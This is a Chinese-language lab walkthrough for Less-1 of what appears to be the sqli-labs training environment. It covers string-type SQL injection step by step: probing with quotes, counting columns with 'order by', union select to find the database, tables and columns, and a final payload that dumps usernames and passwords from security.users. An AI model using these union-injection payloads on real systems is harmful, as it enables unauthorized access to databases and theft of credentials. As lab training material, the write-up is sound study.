Less-1第一关
打开网站
在url上加上?id=1’
可以看到用户名和密码。
下面我们尝试开始注入。
探测是否存在注入点:
- 加单引号报错
- 加’ and 1=1报错
- 加’ and 1=1 --+正常
- 判断为字符型注入
一般可以使用联合表的方式来提取自己想要的信息(union),但是使用union语句有个前提就是union 后面的语句必须与前面的语句字段数以及类型必须一直,否则数据库会报错。
所以我们得再来判断有几个字段。
id=1' order by 1 --+ //没报错
id=1' order by 2 --+ //没报错
...
id=1' order by 4 --+ //报错
说明,这个表中有三个字段
接下来我们进行联合查询union,union前面的参数报错才能执行union后面的数据,因此将 id = 1 改为 id = -1 (或者改为id=0也行,只要是不正确的值都行)开始进行注入。
?id=-1' union select 1,2,3 --+
然后爆数据库:
?id=-1' union select 1,2,database() --+
database()表示现在在哪个数据库里面
爆出数据库为名字security,所以现在要查security的数据库里面有哪些表
用information_schema数据库里面的tables表可以查看到security数据库里面的表名
编写语句:
select * from information_schema.tables where table_schema='security';
再用group_concat()函数拼接下:
select group_concat(table_name) from information_schema.tables where table_schema='security';
根据以上,我们写爆数据库的表名语句:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
爆出几个表名,然后用表爆出字段,可以发现这里有个users表,说明里面有可能有密码文件
构造爆字段语句:
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
爆出字段,看到password字段应该是密码文件:
已知的:
数据库security
表users
字段id,username,password
接下来可以进行查询爆库
select group_concat(username,'+',password) from security.users;
注意,在url中’+'要进行转码
得到代码:
?id=-1' union select 1,2,group_concat(username,%27%2B%27,password) from security.users --+
爆出库,右键查看源代码,直接复制